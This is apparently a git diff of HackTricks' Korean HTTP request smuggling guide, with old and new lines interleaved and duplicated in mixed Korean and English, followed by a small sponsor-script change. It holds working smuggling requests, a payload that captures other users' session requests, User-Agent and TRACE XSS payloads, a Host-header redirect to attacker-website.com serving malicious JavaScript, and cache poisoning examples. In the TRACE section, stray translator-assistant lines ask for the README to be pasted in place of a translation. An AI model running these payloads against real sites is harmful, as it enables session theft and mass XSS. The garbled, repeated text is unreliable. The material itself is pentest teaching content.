CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더를 사용하고, 이후 포함된 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다.
front-end proxy는 초기 `POST` 요청을 처리하지만 포함된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 활용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
**TE.CL 예시**
```
@ -433,13 +477,13 @@ a=x
0
```
반대로, TE.CL attack에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이어서 포함된 요청은 `Content-Length` 헤더를 기준으로 처리됩니다. CL.TE attack과 마찬가지로, front-end proxy는 스머글된 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 의도치 않게 접근을 허용합니다.
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하며, 그에 이어 포함된 요청은 `Content-Length` 헤더를 기준으로 처리됩니다. CL.TE 공격과 마찬가지로 front-end proxy는 smuggled `GET /admin` 요청을 간과하여 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
### 프론트엔드 요청 재작성 드러내기 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### 프론트엔드 요청 재작성 확인 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications often employ a **프론트엔드 서버** to modify incoming requests before passing them to the 백엔드 서버. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the 백엔드. Understanding these modifications can be crucial, as it might reveal ways to **보호 우회** 또는 **숨겨진 정보나 엔드포인트 발견**.
애플리케이션은 종종 백엔드 서버로 요청을 전달하기 전에 수신 요청을 수정하기 위해 **front-end server**를 사용합니다. 일반적인 수정 예로는 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>` 같은 헤더를 추가하는 것이 있습니다. 이러한 수정 동작을 파악하는 것은 중요할 수 있으며, 이는 **보호 우회**나 **숨겨진 정보나 엔드포인트를 발견**하는 방법을 드러낼 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에 에코하는 POST 파라미터를 찾으세요. 그런 다음, 해당 파라미터를 마지막에 사용하도록 요청을 작성하세요. 예시는 다음과 같습니다:
proxy가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에 에코하는 POST 파라미터를 찾으세요. 그런 다음 이 파라미터를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -456,27 +500,19 @@ Content-Length: 100
search=
```
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
이 구조에서는 후속 요청 구성 요소가 `search=` 다음에 이어붙여지며, 이 파라미터는 응답에 반영됩니다. 이 반영은 후속 요청의 헤더를 노출합니다.
이 구조에서는 이후의 요청 구성 요소들이 `search=` 뒤에 이어붙여지며, 이 파라미터가 응답에 반영됩니다. 이 반영은 이후 요청의 헤더들을 노출시킵니다.
`Content-Length` 헤더를 중첩된 요청의 실제 콘텐츠 길이와 맞추는 것이 중요합니다. 너무 낮으면 반영된 데이터가 잘리고, 너무 높으면 요청이 오류를 일으킬 수 있으므로 작은 값으로 시작해 점차 증가시키는 것이 좋습니다.
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
이 기법은 TE.CL 취약점 환경에서도 적용할 수 있지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 개행 문자와 상관없이 값들은 search 파라미터에 덧붙여집니다.
`Content-Length` 헤더를 중첩된 요청의 실제 콘텐츠 길이에 맞추는 것이 중요합니다. 너무 낮으면 반영된 데이터가 잘려 나오고, 너무 높으면 요청이 오류를 일으킬 수 있으므로, 작은 값부터 시작해 점차 증가시키는 것이 권장됩니다.
이 방법은 주로 프론트엔드 프록시가 수행하는 요청 변경 사항을 이해하기 위한 것으로, 일종의 자체 조사 역할을 합니다.
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
이 기법은 TE.CL 취약점 상황에서도 적용할 수 있으나, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄바꿈 문자와 관계없이 값들은 `search` 파라미터에 이어붙여집니다.
POST 동작 중에 특정 요청을 파라미터의 값으로 덧붙이면 다음 사용자의 요청을 캡처할 수 있습니다. 방법은 다음과 같습니다:
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
이 방법은 주로 프론트엔드 프록시가 수행하는 요청 수정사항을 이해하는 데 사용되며, 본질적으로 자체 조사를 수행합니다.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
POST 작업 중 파라미터의 값으로 특정 요청을 이어붙이면 다음 사용자의 요청을 캡처할 수 있습니다. 방법은 다음과 같습니다:
By appending the following request as the value of a parameter, you can store the subsequent client's request:
다음 요청을 파라미터의 값으로 덧붙이면 이후 클라이언트의 요청을 저장할 수 있습니다:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -496,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션에 내용을 저장하도록 의도되어 있다. 따라서 이후 요청의 내용은 댓글로 표시된다.
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
그러나 이 기법에는 한계가 있다. 일반적으로 스머글된 요청에서 사용된 파라미터 구분자까지의 데이터만 캡처된다. URL-encoded form 제출의 경우 이 구분자는 `&` 문자다. 즉, 피해자 사용자의 요청에서 캡처되는 내용은 첫 번째 `&`에서 중단되며, 이는 쿼리 문자열의 일부일 수도 있다.
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
또한 이 방법은 TE.CL 취약점에서도 적용 가능하다는 점에 유의해야 한다. 이런 경우 요청은 `search=\r\n0`로 끝나야 한다. 개행 문자와 상관없이 값들은 search 파라미터에 추가된다.
### Using HTTP request smuggling to exploit reflected XSS
### HTTP request smuggling을 사용하여 Reflected XSS 악용하기
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹페이지를 악용하는 데 활용될 수 있으며, 다음과 같은 중요한 이점을 제공한다:
- Interaction with the target users is **not required**.
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
- 타겟 사용자와의 상호작용이 **필요하지 않음**.
- 요청의 통상적으로 접근할 수 없는 부분(예: HTTP request headers)에 있는 XSS도 악용할 수 있음.
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
웹사이트가 User-Agent header를 통해 **Reflected XSS**에 취약한 경우, 다음 payload는 이 취약점을 악용하는 방법을 보여준다:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -530,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
A=
```
이 페이로드는 다음과 같이 취약점을 악용하도록 구성되어 있습니다:
This payload는 다음과 같이 취약점을 악용하도록 구성되어 있습니다:
1. 겉으로는 일반적인 `POST` 요청을 시작하고, smuggling 시작을 나타내기 위해 `Transfer-Encoding: chunked` 헤더를 사용합니다.
2. 이어서 청크된 메시지 본문의 끝을 표시하는 `0`을 보냅니다.
3. 그런 다음 smuggled된 `GET` 요청이 도입되며, 여기서 `User-Agent` 헤더에 `<script>alert(1)</script>` 같은 스크립트를 주입하여 서버가 이 후속 요청을 처리할 때 XSS를 유발합니다.
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
2. Following with a `0`, marking the end of the chunked message body.
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
`User-Agent`를 smuggling으로 조작함으로써 페이로드는 정상적인 요청 제약을 우회하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
By manipulating the `User-Agent` through smuggling, the payload는 정상적인 요청 제약을 우회하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
#### HTTP/0.9
> [!CAUTION]
> 사용자 입력이 **`Content-type`**이 **`text/plain`**과 같은 응답에 반영되어 XSS 실행이 차단되는 경우가 있습니다. 서버가 **HTTP/0.9를 지원한다면 이를 우회할 수 있을 가능성**이 있습니다!
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
HTTP/0.9 버전은 이전에 1.0보다 앞선 버전으로 **GET** 동사만 사용하며 **headers**를 반환하지 않고 본문만 반환합니다.
HTTP/0.9 버전은 이전에 HTTP/1.0보다 먼저 존재했으며 **GET** 동사만 사용하고 **headers** 없이 본문만 응답합니다.
[**this writeup**](https://mizu.re/post/twisty-python)에서, 이것은 request smuggling과 **사용자 입력을 그대로 응답하는 취약한 엔드포인트**를 이용해 HTTP/0.9로 요청을 smuggle하는 방식으로 남용되었습니다. 응답에 반영될 파라미터는 **가짜 HTTP/1.1 응답(헤더와 본문 포함)**을 담고 있었기 때문에, 최종 응답은 `Content-Type``text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
In [**this writeup**](https://mizu.re/post/twisty-python), 이 기법은 request smuggling과 **사용자 입력을 응답으로 그대로 반환하는 취약한 endpoint**를 이용해 HTTP/0.9 요청을 smuggle하는 데 악용되었습니다. 응답에 반영될 파라미터는 **fake HTTP/1.1 response (with headers and body)**를 포함하고 있어, 응답이 `Content-Type``text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### HTTP Request Smuggling을 이용한 같은 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
애플리케이션은 종종 리다이렉트 URL에 `Host` 헤더의 호스트명을 사용하여 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache나 IIS 같은 웹 서버에서 흔한 동작입니다. 예를 들어, 슬래시가 없는 폴더를 요청하면 슬래시를 포함하도록 리다이렉트됩니다:
애플리케이션은 종종 redirect URL에 `Host` 헤더의 호스트명을 사용하여 한 URL에서 다른 URL로 리디렉트합니다. 이는 Apache나 IIS 같은 웹 서버에서 흔한 동작입니다. 예를 들어, 폴더 요청 시 trailing slash가 없으면 slash를 포함하도록 리디렉트됩니다:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -559,7 +595,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
으로 보기엔 무해해 보이지만, 이 동작은 HTTP request smuggling을 사용하여 사용자를 외부 사이트로 리다이렉트하도록 조작될 수 있습니다. 예를 들어:
보기에는 무해해 보일 수 있지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -573,7 +609,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
이 smuggled request는 다음에 처리되는 사용자 요청을 attacker-controlled website로 리디렉트할 수 있습니다:
This smuggled request는 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션되게 할 수 있습니다:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -585,17 +621,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
In this 시나리오에서는 사용자가 요청한 JavaScript 파일이 가로채집니다. 공격자는 악성 JavaScript를 응답으로 제공하여 사용자를 잠재적으로 손상시킬 수 있습니다.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning는 일반적으로 성능을 향상시키기 위해 **프론트엔드 인프라가 콘텐츠를 캐시하는** 어떤 구성 요소가 있는 경우 실행될 수 있습니다. 서버의 응답을 조작함으로써 **poison the cache**하는 것이 가능합니다.
Web cache poisoning은 보통 성능 향상을 위해 **front-end infrastructure가 콘텐츠를 캐시**하는 경우 실행될 수 있습니다. 서버의 응답을 조작하면 **캐시를 오염(poison)** 시킬 수 있습니다.
앞서 우리는 서버 응답이 404 오류를 반환하도록 어떻게 변경될 수 있는지 관찰했습니다(참조: [Basic Examples](#basic-examples)). 마찬가지로, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하도록 만들 수 있습니다. 그 결과 `/static/include.js`의 콘텐츠가 캐시에서 `/index.html`의 내용으로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되고, 이는 잠재적으로 Denial of Service (DoS)로 이어질 수 있습니다.
앞서 우리는 서버 응답을 조작해 404 에러를 반환하도록 만드는 방법을 살펴보았습니다(참조 [Basic Examples](#basic-examples)). 이와 유사하게, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하게 만들 수 있습니다. 결과적으로 `/static/include.js`의 내용이 `/index.html`의 내용으로 캐시에 덮어써져 사용자가 `/static/include.js`에 접근하지 못하게 되어 Denial of Service (DoS)가 발생할 수 있습니다.
이 기술은 **Open Redirect vulnerability**가 발견되거나 사이트 내에서 **on-site redirect to an open redirect**가 존재하는 경우 특히 강력해집니다. 이러한 취약점을 악용하면 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 결과적으로 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대해 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
이 기법은 특히 **Open Redirect** 취약점이 발견되거나 사이트 내 리디렉트가 open redirect로 이어지는 경우에 매우 강력해집니다. 이러한 취약점을 악용하면 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대해 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
아래는 **cache poisoning combined with an on-site redirect to open redirect**을 이용한 공격의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 변경하여 공격자가 제어하는 JavaScript 코드를 제공하게 하는 것입니다:
아래는 **cache poisoning combined with an on-site redirect to open redirect**를 악용하는 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하는 것입니다:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -613,20 +649,20 @@ Content-Length: 10
x=1
```
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
임베디드된 요청이 `/post/next?postId=3`을(를) 대상으로 하고 있다는 점에 주목하세요. 이 요청은 `/post?postId=4`로 리디렉션되며, 도메인 판별을 위해 **Host header value**를 사용합니다. 공격자가 **Host header**를 변경하면 요청을 자신들의 도메인으로 리디렉션할 수 있습니다 (**on-site redirect to open redirect**).
성공적인 **socket poisoning**, `/static/include.js`에 대한 **GET request**를 시작해야 한다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져다.
성공적인 **socket poisoning** `/static/include.js`에 대한 **GET request**가 시작되어야 합니다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
결과, 이후 `/static/include.js`에 대한 모든 요청은 공격자가 만든 스크립트의 캐시된 콘텐츠를 제공하게 되어, 사실상 광범위한 XSS 공격을 개시하게 된다.
그 이후 `/static/include.js`에 대한 모든 요청은 공격자의 스크립트가 캐시된 내용을 제공하게 되어, 사실상 광범위한 XSS 공격이 시작됩니다.
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### HTTP request smuggling을 사용한 web cache deception 수행 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **web cache poisoning**과 **web cache deception**의 차이점은 무엇인가?
> **web cache poisoning과 web cache deception의 차이는 무엇인가요?**
>
> - **web cache poisoning**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 캐시에서 다른 애플리케이션 사용자들에게 제공된다.
> - **web cache deception**에서는 공격자가 다른 사용자의 민감한 콘텐츠가 캐시에 저장되게 만든 뒤, 공격자가 그 콘텐츠를 캐시에서 가져온다.
> - **web cache poisoning**에서는 공격자가 애플리케이션이 캐시에 일부 악성 콘텐츠를 저장하도록 유도하고, 그 콘텐츠가 캐시에서 다른 사용자들에게 제공됩니다.
> - **web cache deception**에서는 공격자가 다른 사용자에 속한 민감한 콘텐츠를 캐시에 저장하도록 유도한 뒤, 그 콘텐츠를 캐시에서 꺼내어 읽어냅니다.
공격자는 민감한 사용자별 콘텐츠를 가져오는 smuggled request를 제작한다. 다음 예를 보자:
공격자는 민감한 사용자별 콘텐츠를 가져오는 smuggled request를 구성합니다. 다음 예를 고려하세요:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -637,18 +673,17 @@ Note the embedded request targeting `/post/next?postId=3`. This request will be
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
If this smuggled request가 정적 콘텐츠(예: `/someimage.png`)용으로 의도된 캐시 항목을 오염시키면, 피해자의 `/private/messages`에 있는 민감한 데이터가 정적 콘텐츠의 캐시 항목에 캐시될 수 있습니다. 결과적으로 공격자는 이 캐시된 민감한 데이터를 획득할 수 있습니다.
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
### TRACE를 HTTP Request Smuggling을 통해 악용하기 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP Request Smuggling을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack)에서는 서버에 TRACE 메서드가 활성화되어 있으면 HTTP Request Smuggling으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반사하기 때문입니다. 예를 들면:
[**In this post**](https://portswigger.net/research/trace-desync-attack) 에서는 서버에 TRACE 메서드가 활성화되어 있는 경우 HTTP Request Smuggling으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답의 본문 일부로 반사하기 때문입니다. 예를 들어:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
번역할 src/pentesting-web/http-request-smuggling/README.md의 내용을 여기에 붙여넣어 주세요.
코드 블록, 태그({#...}), 링크/경로, 기술명(예: http-request-smuggling), 일반적인 해킹 용어는 번역하지 않습니다. 파일이 크면 여러 메시지로 나눠서 보내셔도 됩니다.
번역할 README.md의 내용을 여기에 붙여넣어 주세요. 코드, 태그, 링크/경로, 기법 이름 등 번역하지 말라는 규칙을 준수하여 한국어로 번역해 드리겠습니다.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -659,15 +694,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
이 동작을 악용하는 한 예는 **먼저 HEAD request를 smuggle** 하는 것이다. 이 요청에는 GET 요청의 **headers**만 응답되며(**`Content-Type`** 포함). 그리고 HEAD 바로 뒤에 **TRACE request를 smuggle** 하면, 이 요청은 보낸 데이터를 **반사**한다.\
HEAD 응답에 `Content-Length` 헤더가 포함되어 있기 때문에, **TRACE 요청의 응답은 HEAD 응답의 바디로 간주되어 임의의 데이터를 반영하게 된다**.\
이 응답은 연결을 통해 다음 요청으로 전달되며, 예를 들어 캐시된 JS 파일에 사용되어 임의의 JS 코드를 주입하는 데 **사용될 수 있다**.
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### TRACE를 통한 HTTP Response Splitting 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP Response Splitting을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
또 다른 TRACE 악용 방법은 [**이 글**](https://portswigger.net/research/trace-desync-attack)을 참고하는 것을 권장한다. 앞서 언급한 것처럼, HEAD request와 TRACE request를 smuggle하면 HEAD 응답에서 **일부 반사된 데이터를 제어할 수 있다**. HEAD 응답의 바디 길이는 기본적으로 `Content-Length` 헤더로 표시되며, 그 내용은 TRACE 요청에 대한 응답으로 구성된다.
자세한 내용은 [**this post**](https://portswigger.net/research/trace-desync-attack)를 참고하면 TRACE method를 악용하는 또 다른 방법이 제안되어 있습니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 smuggle하면 HEAD 응답에서 일부 반사된 데이터를 제어하는 것이 가능합니다. HEAD 요청 본문의 길이는 기본적으로 `Content-Length` 헤더에 의해 표시되며 TRACE 요청의 응답으로 구성됩니다.
따라서, 이 `Content-Length`와 TRACE 응답에서 제공되는 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 뒤에 유효한 HTTP 응답을 포함하도록 만들 수 있고, 이를 통해 공격자는 다음 응답에 대한 요청을 완전히 제어할 수 있다(이는 cache poisoning 수행에 이용될 수 있다).
따라서, 이 `Content-Length`와 TRACE 응답에 포함된 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 뒤에 유효한 HTTP response를 포함하도록 만들 수 있고, 이는 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하여 (cache poisoning 수행에 사용될 수 있습니다).
Example:
```
@ -688,7 +723,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
다음과 같은 응답을 생성합니다 (HEAD 응답이 Content-Length를 갖고 있어 TRACE 응답을 HEAD 본문의 일부로 만들며, HEAD Content-Length가 끝나면 유효한 HTTP 응답이 스머글됩니다):
다음과 같은 응답을 생성합니다(HEAD 응답이 Content-Length를 포함하고 있어 TRACE 응답이 HEAD 본문의 일부가 되며, HEAD의 Content-Length가 끝나면 유효한 HTTP 응답이 smuggled 되는 점에 주의하세요):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -709,9 +744,9 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTP Response Desynchronisation을 이용한 HTTP Request Smuggling 무기화
### HTTP Response Desynchronisation로 HTTP Request Smuggling 무기화하기
HTTP Request Smuggling 취약점을 발견했지만 어떻게 익스플로잇할지 모르겠나요? 다음 다른 익스플로잇 방법들을 시도해보세요:
HTTP Request Smuggling 취약점을 발견했지만 어떻게 exploit할지 모르겠다면, 다음 다른 exploitation 방법들을 시도해보세요:
{{#ref}}
@ -734,7 +769,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder 스크립트
## Turbo intruder scripts
### CL.TE
@ -823,14 +858,14 @@ table.add(req)
```
## 도구
- HTTP Hacker (Burp BApp Store) 연결/프레이밍 및 저수준 HTTP 동작을 시각화
- HTTP Hacker (Burp BApp Store) 연결/프레이밍 및 저수준 HTTP 동작을 시각화합니다
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반 HTTP Fuzzer로, 이상한 request smuggling 불일치를 찾는 데 유용합니다.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반 HTTP Fuzzer로, 이상한 request smuggling 불일치를 찾아내는 데 유용합니다.
## 참고자료
@ -843,10 +878,11 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- 거짓-거짓 양성에 주의: HTTP pipelining과 request smuggling을 구별하는 방법 [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- 오탐(false falsepositive) 주의: HTTP pipelining과 request smuggling을 구별하는 방법 [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -15,7 +15,8 @@
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
async function getSponsor() {
const url = "https://book.hacktricks.wiki/sponsor"
const currentUrl = encodeURIComponent(window.location.href);
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
try {
const response = await fetch(url, { method: "GET" })
if (!response.ok) {